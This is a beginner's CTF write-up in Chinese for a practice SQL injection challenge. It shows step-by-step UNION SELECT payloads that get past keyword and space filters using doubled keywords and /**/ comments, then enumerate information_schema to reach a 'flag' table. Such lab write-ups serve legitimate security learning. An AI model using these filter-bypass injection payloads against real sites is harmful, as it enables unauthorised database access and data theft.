实验吧web简单的sql注入1,小白自己写的wp

这次来写了一个wp,我是小白希望大神们可以指点,因为自己是一个人搞sql,有人指点能够少走很多弯路。

先看这一题,我刚进来居然还来了个乱码,不管了开始,看到这题目,命令注入得到flag,就想这一题无非就是绕过过滤,进行爆库爆数据得到flag 


实验吧web简单的sql注入1,小白自己写的wp_第1张图片

输入1,2,3以后,得到一些表名,这时就在猜想后台sql查询语句为:select name where id =xxxxx;

[if !supportLists]1.     [endif]先判断注入点


实验吧web简单的sql注入1,小白自己写的wp_第2张图片

先用1 and 1=1 发现and被过滤了这里采用andand双写绕过

1 andand 1=1  1 andand 1=2 发现不是数字型注入

再用 1’andand 1=1--+ ;#  发现注释(--+,#)都被过滤了这里采用1’ andand ‘1’=’1进行注释


得到这个应该是‘字符型注入(这里我有点不大明白,但是这样注入可以爆出来,所以也就是将错就错了,希望有大神可以给我指点一下子,而且此时的order by我实验也没成功,索性直接爆)


[if !supportLists]2.     [endif]暴库,表(建议也可以先查库再查表)

 这里先不要闭合前面的‘,先直接输入查询语句,看看这个sql后台究竟过滤了哪些

1 union select group_concat(table_name)from information_schema .tables where table_schema =database()--+


实验吧web简单的sql注入1,小白自己写的wp_第3张图片

发现注释--+,#什么的都被过滤了,可以考虑利用andand’1’=’1进行闭合后面的’号;发现有空格过滤,这里可以选择双写绕过和/**/(注释空格)进行绕过,发现group_concat;information_schema;table_schema都需要进行双写绕过


构造得:

1'/**/union/**/select/**/group_concagroup_concatt(table_name)/**/from/**/information_schema.tables/**/where/**/tabltable_schemae_schema/**/=database()andand '1'='1


得到表balotali,flag,web_1表,只有flag表对我们有用

我发现直接出表太利索了,得不到数据库,所以还是一步一步来把!

[if !supportLists]1.     [endif]爆库

 1’union select database()’


实验吧web简单的sql注入1,小白自己写的wp_第4张图片

发现都被过滤了 

构造得1’/**/union/**/select/**/database()’


实验吧web简单的sql注入1,小白自己写的wp_第5张图片

得到数据库:web1(有用)

[if !supportLists]2.     [endif]爆表

 和上述一样先进行正常的sql语句

1 union select group_concat(table_name) frominformation_schema.tables where table_schema=’web1’

得到的还是被过滤的信息


实验吧web简单的sql注入1,小白自己写的wp_第6张图片

根据/**/注释空格还用双写group等函数进行绕过

1'/**/union/**/select/**/group_concagroup_concatt(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemtable_schemaa='web1


得到flag和web_1表,可知flag对我们有用进行查列

[if !supportLists]3.     [endif]查列

 1’union select column_name from information_schema.columns where table_name=’flag’


实验吧web简单的sql注入1,小白自己写的wp_第7张图片


构造得:

1'/**/union/**/select/**/column_namcolumn_namee/**/from/**/information_scheminformation_schema.columnsa.columns/**/where/**/table_name='flag'

andand '1'='1(这里可以用andand ‘1’=’1进行闭合)


实验吧web简单的sql注入1,小白自己写的wp_第8张图片

得到列名为:flag对我们有用


[if !supportLists]4.     [endif]查数据

 直接构造得:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1


实验吧web简单的sql注入1,小白自己写的wp_第9张图片

得到flag

总之,这道题考的还是很有意思的,刚开始做的时候,自己构造语句很多都构造错,返回报错,看报错信息一脸懵,双写绕过很常见,重点就是过滤掉了注释和空格过滤,需要利用/*注释*/绕过空格,也可以利用括号,考这一点让我学到了,很实用,所以自己想写一个wp,充实一下自己,我自己写的估计有很多地方不对,希望帮忙指点一下子。

你可能感兴趣的:(实验吧web简单的sql注入1,小白自己写的wp)